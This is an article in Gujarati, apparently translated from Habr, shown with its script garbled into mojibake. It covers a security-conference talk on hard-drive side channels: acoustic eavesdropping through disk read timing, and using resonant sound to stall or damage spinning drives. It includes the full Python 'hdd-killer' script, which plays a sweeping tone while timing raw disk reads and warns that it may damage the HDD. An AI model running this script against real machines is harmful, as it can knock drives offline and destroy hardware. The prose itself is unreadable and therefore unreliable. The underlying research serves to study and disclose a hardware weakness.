เชฌเซเชฏเซเชจเซเชธ เชเชฐเซเชธเชฎเชพเช เชเชเซเชชเชพเชฐเซเชเซ 2017 เชเซเชฎเซเชชเซเชฏเซเชเชฐ เชธเซเชฐเชเซเชทเชพ เชชเชฐเชฟเชทเชฆเชฎเชพเช, เชเชฐเซเชเซเชจเซเชเชฟเชจเชพเชจเชพ เชนเซเชเชฐ เชเชฒเซเชซเซเชฐเซเชกเซ เชเชฐเซเชเซเชเชพเช เชเซเชฌ เช เชฐเชธเชชเซเชฐเชฆ เชตเชฟเชเชพเชธ เชฆเชฐเซเชถเชพเชตเซเชฏเซ - เชฎเชพเชเชเซเชฐเซเชซเซเชจเชจเซ เชเชชเชฏเซเช เชเชฐเซเชฏเชพ เชตเชฟเชจเชพ เชเชเซเชฏเชพเชจเชพ เช
เชชเซเชฐเชเช เชตเชพเชฏเชฐเชเซเชชเชฟเชเช เชฎเชพเชเซเชจเซ เชธเชฟเชธเซเชเชฎ. เชงเซเชตเชจเชฟ
HDD เชฎเซเชเซเชฏเชคเซเชตเซ เชเชเซเช-เชคเซเชตเซเชฐเชคเชพเชจเชพ เชเชเชพ-เชเชตเชฐเซเชคเชจ เช
เชตเชพเชเซ, เชชเชเชฒเชพเช เช
เชจเซ เช
เชจเซเชฏ เชธเซเชชเชเชฆเชจเซเชจเซ เชชเชธเชเชฆ เชเชฐเซ เชเซ. เชฎเชพเชจเชต เชตเชพเชฃเซ เชนเชเซ เชธเซเชงเซ เชเชณเชเซ เชถเชเชพเชคเซ เชจเชฅเซ, เชคเซเชฎ เชเชคเชพเช เชตเซเชเซเชเชพเชจเชฟเชเซ
เชงเซเชตเชจเชฟ เช เชนเชตเชพ เช
เชฅเชตเชพ เช
เชจเซเชฏ เชฎเชพเชงเซเชฏเชฎเชจเซเช เชธเซเชชเชเชฆเชจ เชเซ. เชเช เชตเซเชฏเชเซเชคเชฟ เชคเซเชฎเชจเซ เชเชพเชจเชจเชพ เชชเชกเชฆเชพ เชฆเซเชตเชพเชฐเชพ เชธเชฎเชเซ เชเซ, เชเซ เชธเซเชชเชเชฆเชจเซเชจเซ เชเชเชคเชฐเชฟเช เชเชพเชจเชฎเชพเช เชชเซเชฐเชธเชพเชฐเชฟเชค เชเชฐเซ เชเซ. เชฎเชพเชเชเซเชฐเซเชซเซเชจ เชฒเชเชญเช เชเชพเชจเชจเซ เชเซเชฎ เชกเชฟเชเชพเชเชจ เชเชฐเชตเชพเชฎเชพเช เชเชตเซเชฏเซ เชเซ - เช
เชนเซเช เชชเชฃ, เชชเชพเชคเชณเซ เชชเชเชฒ เชฆเซเชตเชพเชฐเชพ เชธเซเชชเชเชฆเชจเซ เชฐเซเชเซเชฐเซเชก เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ, เชเซ เชตเชฟเชฆเซเชฏเซเชค เชเชตเซเชเชจเซ เชเชคเซเชคเซเชเชฟเชค เชเชฐเซ เชเซ. เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต, เช
เชฒเชฌเชคเซเชค, เชเชธเชชเชพเชธเชจเซ เชนเชตเชพเชฎเชพเช เชตเชงเชเชเชจเซ เชเชพเชฐเชฃเซ เชฎเชพเชเชเซเชฐเซเชธเซเชเซเชชเชฟเช เชธเซเชชเชเชฆเชจเซเชจเซ เชชเชฃ เชเชงเชฟเชจ เชเซ. HDDs เชจเซ เชคเชเชจเซเชเซ เชฒเชพเชเซเชทเชฃเชฟเชเชคเชพเชเชฅเซ เชชเชฃ เช เชเชพเชฃเซเชคเซเช เชเซ: เชเชคเซเชชเชพเชฆเชเซ เชธเชพเชฎเชพเชจเซเชฏ เชฐเซเชคเซ เชฎเชนเชคเซเชคเชฎ เช
เชจเซเชฎเชคเชฟเชชเชพเชคเซเชฐ เชเชเชชเชจ เชธเซเชคเชฐ เชธเซเชเชตเซ เชเซ, เช
เชจเซ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต เชชเซเชคเซ เชเชฃเซเชตเชพเชฐ เชคเซเชจเซ เชฐเชฌเชฐ เช
เชฅเชตเชพ เช
เชจเซเชฏ เชเชจเซเชธเซเชฏเซเชฒเซเชเซเชเช เชธเชพเชฎเชเซเชฐเซเชฅเซ เชฌเชจเซเชฒเชพ เชตเชพเชเชฌเซเชฐเซเชถเชจ-เชชเซเชฐเซเชซ เชเชจเซเชเซเชจเชฐเชฎเชพเช เชฎเซเชเชตเชพเชจเซ เชชเซเชฐเชฏเชพเชธ เชเชฐเซ เชเซ. เชเชจเชพ เชชเชฐเชฅเซ เช เชคเชพเชฐเชฃ เชเชพเชขเชตเซเช โโเชธเชฐเชณ เชเซ เชเซ HDD เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เช
เชตเชพเชเซ เชฐเซเชเซเชฐเซเชก เชเชฐเซ เชถเชเชพเชฏ เชเซ. เชฌเชพเชเซ เชเซ เชคเซ เชเซเชตเซ เชฐเซเชคเซ เชเชเซเชคเชฟ.
เชเชฒเซเชซเซเชฐเซเชกเซ เชเชฐเซเชเซเชเชพเช เชธเชพเชเชก-เชเซเชจเชฒ เชนเซเชฎเชฒเชพเชจเชพ เช เชจเชจเซเชฏ เชธเชเชธเซเชเชฐเชฃเชจเซ เชฆเชฐเชเชพเชธเซเชค เชเชฐเซ, เชเชเชฒเซ เชเซ เชเชพเชเชฎ เชเชเซเช. เช เชนเซเชฎเชฒเซ เช เชงเชพเชฐเชฃเชพ เชชเชฐ เชเชงเชพเชฐเชฟเชค เชเซ เชเซ เชเชชเซเชฒ เชเชจเชชเซเช เชกเซเชเชพเชจเชพ เชเชงเชพเชฐเซ เชเซเชฆเชพ เชเซเชฆเชพ เชธเชฎเชฏเซ เชเชชเชเชฐเชฃ เชชเชฐ เชตเชฟเชตเชฟเชง เชเชพเชฎเชเซเชฐเซ เชเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เช เชเชฟเชธเซเชธเชพเชฎเชพเช, "เชเชจเชชเซเช เชกเซเชเชพ" เช เชฐเซเชกเชฟเชเช เชนเซเชก เช เชจเซ เชเชเชกเซเชกเซ เชชเซเชฒเซเชเชฐเชจเชพ เชธเซเชชเชเชฆเชจเซ เชเซ, เชเซ เชชเชฐเซเชฏเชพเชตเชฐเชฃเชจเชพ เชธเซเชชเชเชฆเชจเซ เชธเชพเชฅเซ เชธเชเชฌเชเชง เชงเชฐเชพเชตเซ เชเซ, เชเชเชฒเซ เชเซ เช เชตเชพเช เชธเชพเชฅเซ. เชเชฎ, เชเชฃเชคเชฐเซเชจเชพ เชธเชฎเชฏเชจเซ เชฎเชพเชชเซเชจเซ เช เชจเซ เชกเซเชเชพเชจเซเช เชเชเชเชกเชพเชเซเชฏ เชตเชฟเชถเซเชฒเซเชทเชฃ เชเชฐเซเชจเซ, เชฎเชพเชฅเชพ/เชฅเชพเชณเซเชจเชพ เชธเซเชชเชเชฆเชจเซ เช เชจเซ เชคเซเชฅเซ เชฎเชพเชงเซเชฏเชฎเชจเชพ เชธเซเชชเชเชฆเชจเซเชจเซ เชฎเชพเชชเซ เชถเชเชพเชฏ เชเซ. เชกเซเชเชพ เชตเชพเชเชเชตเชพเชฎเชพเช เชเซเชเชฒเซ เชฒเชพเชเชฌเซ เชตเชฟเชฒเชเชฌ เชฅเชถเซ, HDD เชธเซเชชเชเชฆเชจเซ เชตเชงเซ เชฎเชเชฌเซเชค เช เชจเซ เชคเซเชฅเซ, เช เชตเชพเช เชเซเชเชฒเซ เชฎเซเชเซ เชฅเชถเซ.
เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต เชเชเชชเชจ เชเซเชตเซ เชฐเซเชคเซ เชฎเชพเชชเชตเชพ? เชเซเชฌ เช เชธเชฐเชณ: เชซเชเซเชค เชธเชฟเชธเซเชเชฎ เชเซเชฒ เชเชฒเชพเชตเซ read ()
- เช
เชจเซ เชคเซ เชชเซเชฐเซเชฃ เชฅเชตเชพเชฎเชพเช เชฒเชพเชเซ เชคเซ เชธเชฎเชฏเชจเซ เชฐเซเชเซเชฐเซเชก เชเชฐเซ. เชเชงเซเชจเชฟเช เชเชชเชฐเซเชเชฟเชเช เชธเชฟเชธเซเชเชฎเซเชธ เชคเชฎเชจเซ เชจเซเชจเซเชธเซเชเชจเซเชกเชจเซ เชเซเชเชธเชพเช เชธเชพเชฅเซ เชธเชฟเชธเซเชเชฎ เชเซเชฒเซเชธเชจเซ เชธเชฎเชฏ เชตเชพเชเชเชตเชพเชจเซ เชฎเชเชเซเชฐเซ เชเชชเซ เชเซ.
เชธเซเชเซเชเชฐเชฎเชพเชเชฅเซ เชฎเชพเชนเชฟเชคเซ เชตเชพเชเชเชตเชพเชจเซ เชเชกเชช เชฎเชพเชฅเชพ เช เชจเซ เชชเซเชฒเซเชเชฐเชจเซ เชธเซเชฅเชฟเชคเชฟ เชชเชฐ เชเชงเชพเชฐเชฟเชค เชเซ, เชเซ HDD เชเซเชธเชจเชพ เชธเซเชชเชเชฆเชจเซ เชธเชพเชฅเซ เชธเชเชฌเชเชง เชงเชฐเชพเชตเซ เชเซ. เชฌเชธ เชเชเชฒเซเช เช.
เชเชเชเชกเชพเชเซเชฏ เชตเชฟเชถเซเชฒเซเชทเชฃ เชธเชฐเชณ Kscope เชเชชเชฏเซเชเชฟเชคเชพเชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชนเชพเชฅ เชงเชฐเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชเซเชฎ เชคเซเช เชเชนเซ เชเซ, เชฌเซเชฆเซเชงเชฟเชถเชพเชณเซ เชฌเชงเซเช เชธเชฐเชณ เชเซ.
Kscope เชเชชเชฏเซเชเชฟเชคเชพ (stat() syscall)
Kscope เช เชธเชฟเชธเซเชเชฎ เชเซเชฒ เชเชเซเชเซเชเซเชฏเซเชถเชจ เชธเชฎเชฏเชฎเชพเช เชจเชพเชจเชพ เชคเชซเชพเชตเชคเซเชจเซ เชเชฒเซเชชเชจเชพ เชเชฐเชตเชพ เชฎเชพเชเซ เชเช เชจเชพเชจเซ เชเชชเชฏเซเชเชฟเชคเชพ เชเซ. เชธเซเชคเซเชฐเซเชค
เชเช เช
เชฒเช เชญเชเชกเชพเชฐเชฎเชพเช read ()
.
HDD เชจเซ เชเชชเชฏเซเช เชเชฐเซเชจเซ เชงเซเชตเชจเชฟ เชฐเซเชเซเชฐเซเชกเชฟเชเชเชจเซเช เชชเซเชฐเชฆเชฐเซเชถเชจ, Kscope เชเชชเชฏเซเชเชฟเชคเชพเชจเซเช เชธเชเชเชพเชฒเชจ
เช เชฒเชฌเชคเซเชค, เชตเชพเชฃเซ เช เชฐเซเชคเซ เชธเชฎเชเซ เชถเชเชพเชคเซ เชจเชฅเซ, เชชเชฐเชเชคเซ เชตเชพเชเชฌเซเชฐเซเชถเชจ เชธเซเชจเซเชธเชฐ เชคเชฐเซเชเซ HDD เชเชเชฆเชฎ เชฏเซเชเซเชฏ เชเซ. เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชเซ เชเซเช เชตเซเชฏเชเซเชคเชฟ เชธเชเชค เชชเชเชฐเชเชพเช เชชเชนเซเชฐเซ เชเซ เช เชฅเชตเชพ เชเชเชพเชกเชชเชเซเช เชเชฎเซเชชเซเชฏเซเชเชฐ เชธเชพเชฅเซ เชฐเซเชฎเชฎเชพเช เชชเซเชฐเชตเซเชถ เชเชฐเซ เชเซ เชคเซ เชคเชฎเซ เชจเซเชเชงเชฃเซ เชเชฐเซ เชถเชเซ เชเซ (เชเชฆเชพเช, เชเซ เชนเซเชฎเชฒเชพเชเซเชฐเซ เชจเชฐเชฎ เชธเซเชจเซเชเชฐเซเชธ เชชเชนเซเชฐเซเชฏเชพ เชนเซเชฏ เช เชฅเชตเชพ เชซเซเชฒเซเชฐ เชชเชฐ เชเชพเชกเชพ เชเชพเชฐเซเชชเซเช เชนเซเชฏ, เชคเซ HDD เชธเซเชชเชเชฆเชจเซเชจเซ เชจเซเชเชงเชฃเซ เชเชฐเซ เชถเชเชถเซ เชจเชนเซเช - เช เชคเชชเชพเชธเชตเชพ เชฏเซเชเซเชฏ เชเซ). เชเซเชฎเซเชชเซเชฏเซเชเชฐ เชคเซเชเซเชฒเชพ เชเชพเช เช เชฅเชตเชพ เช เชจเซเชฏ เชเชเชจเชพเชเชจเซ เชฎเชเชฌเซเชค เช เชตเชพเชเชจเซ เชคเซเชตเซเชฐเชคเชพ เชธเชพเชฅเซ เชจเซเชเชงเชตเชพเชฎเชพเช เชธเชเซเชทเชฎ เชเซ. เชเชเชฒเซ เชเซ, เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต เชเช เชชเซเชฐเชเชพเชฐเชจเซ เช เชจเชงเชฟเชเซเชค เชเซเชธเชฃเชเซเชฐเซ เชถเซเชง เชธเชฟเชธเซเชเชฎ เชคเชฐเซเชเซ เชธเซเชตเชพ เชเชชเซ เชถเชเซ เชเซ.
HDD เชเชฟเชฒเชฐ
เชฎเชพเชฐเซเช เชฆเซเชตเชพเชฐเชพ, เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชตเซเชธเชจเซ เช เชเซเชทเชฎ เชเชฐเชตเชพ เชฎเชพเชเซ เชธเชฎเชพเชจ เชคเชเชจเซเชเชจเซ เชเชชเชฏเซเช เชเชฐเซ เชถเชเชพเชฏ เชเซ. เชซเชเซเชค เช เชนเซเช เชเชชเชฃเซ HDD เชฎเชพเชเชฅเซ เชเชธเชฟเชฒเซเชถเชจเชจเซ เชฆเซเชฐ เชเชฐเชคเชพ เชจเชฅเซ, เชชเชฐเชเชคเซ เชคเซเชจเชพเชฅเซ เชตเชฟเชชเชฐเซเชค, เช เชฎเซ เชเชธเชฟเชฒเซเชถเชจ เชเชจเชฐเซเช เชเชฐเซเช เชเซเช เชเซ HDD เชจเซ เชเชชเชตเชพเชฎเชพเช เชเชตเซ เชเซ. เชเซ เชคเชฎเซ HDD เชเชตเชฐเซเชคเชจ เชธเชพเชฅเซ เชชเชกเชเซ เชชเชพเชกเชคเซ เชเชตเชฐเซเชคเชจ เชชเชฐ เชธเซเชชเซเชเชฐเชฎเชพเชเชฅเซ เช เชตเชพเช เชตเชเชพเชกเซ เชเซ, เชคเซ เชธเชฟเชธเซเชเชฎ เชเซเชเช เชธเชฎเชฏเชฎเชพเช I/O เชญเซเชฒ เชธเชพเชฅเซ เชเชชเชเชฐเชฃเชจเซ เชฌเชเชง เชเชฐเซ เชเซ (เชฒเชฟเชจเชเซเชธ เชเชฐเซเชจเชฒ 120 เชธเซเชเชจเซเชก เชชเชเซ HDDเชจเซ เชธเชเชชเซเชฐเซเชฃเชชเชฃเซ เชฌเชเชง เชเชฐเซ เชเซ). เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต เชชเซเชคเซ เช เชเชฒเชเชพเชตเซ เชถเชเชพเชฏ เชคเซเชตเซเช เชจเซเชเชธเชพเชจ เชธเชนเชจ เชเชฐเซ เชถเชเซ เชเซ.
Linux เชเชฐเซเชจเชฒ เช เชเชกเชฟเชซเชพเชฏเชฐ r120u เชฏเซเชเชธเชฌเซ เชธเซเชชเซเชเชฐเชจเชพ เชธเซเชชเซเชเชฐ เชฆเซเชตเชพเชฐเชพ เชฐเซเชเซเชจเชจเซเช เชซเซเชฐเซเชเซเชตเชจเซเชธเซ เชชเชฐ เชงเซเชตเชจเชฟ เชชเชนเซเชเชเชพเชกเซเชฏเชพเชจเชพ 19 เชธเซเชเชจเซเชก เชชเชเซ เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชตเชจเซ เชฌเชเชง เชเชฐเซ เชฆเซเชงเซ. เชธเซเชชเซเชเชฐ เชฒเชเชญเช เชเช เชเซเชตเชพเชฐเซเชเชฐ เชชเชพเชตเชฐ (100 mW เชเชฐเชคเชพเช เชเชเซ) เชชเชฐ เชเชพเชฒเซ เชฅเชพเชฏ เชเซ เช
เชจเซ HDD เชฅเซ 20 เชธเซเชฎเซ เชฆเซเชฐ เชธเซเชฅเชฟเชค เชเซ, เชเซเชจเซ เชนเซเชคเซ เชธเซเชชเชเชฆเชจเซเชจเซ เชตเชงเชพเชฐเชตเชพ เชฎเชพเชเซ เชเซเชฌเชฒ เชชเชฐ เชเซ. เชฅเซ เชซเซเชฐเซเชฎ
เชคเซ เชตเชฟเชเชฟเชคเซเชฐ เชเซ เชเซ HDDs เชชเชฐ เชเชตเชพ "เชนเซเชฎเชฒเชพ" เชเซเชฏเชพเชฐเซเช เชฐเซเชเชฟเชเชฆเชพ เชเซเชตเชจเชฎเชพเช เช
เชเชธเซเชฎเชพเชค เชฆเซเชตเชพเชฐเชพ เชธเชเชชเซเชฐเซเชฃเชชเชฃเซ เชฅเชพเชฏ เชเซ. เชเชฆเชพเชนเชฐเชฃ เชคเชฐเซเชเซ, เชธเชชเซเชเซเชฎเซเชฌเชฐ 2016 เชฎเชพเช, ING เชฌเซเชเช เชกเซเชเชพ เชธเซเชจเซเชเชฐเชจเซ เชซเชพเชฏเชฐ เชกเซเชฐเชฟเชฒ เชชเชเซ 10 เชเชฒเชพเช เชฎเชพเชเซ เชเชพเชฎเชเซเชฐเซ เชธเซเชฅเชเชฟเชค เชเชฐเชตเชพเชจเซ เชซเชฐเช เชชเชกเซ เชนเชคเซ.
เชกเซเชเชพ เชธเซเชจเซเชเชฐเชฎเชพเช เชนเชพเชฐเซเชก เชกเซเชฐเชพเชเชต เชชเชฐ เชฎเชพเชจเชต เชเซเชธเซเชจเซเช เชชเซเชฐเชฆเชฐเซเชถเชจ. เชฒเซเชเชจเซเชธเซ เชฎเชพเชชเชจ
เชชเชกเชเซ เชชเชพเชกเชคเซ เช เชตเชพเช เชเชคเซเชชเชจเซเชจ เชเชฐเชตเชพ เชฎเชพเชเซ, เชเชฒเซเชซเซเชฐเซเชกเซ เชเชฐเซเชเซเชเชพเช เชชเชพเชฏเชฅเซเชจ เชธเซเชเซเชฐเชฟเชชเซเช เชฒเชเซ เชนเชคเซ
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
เชธเซเชฐเซเชธ: www.habr.com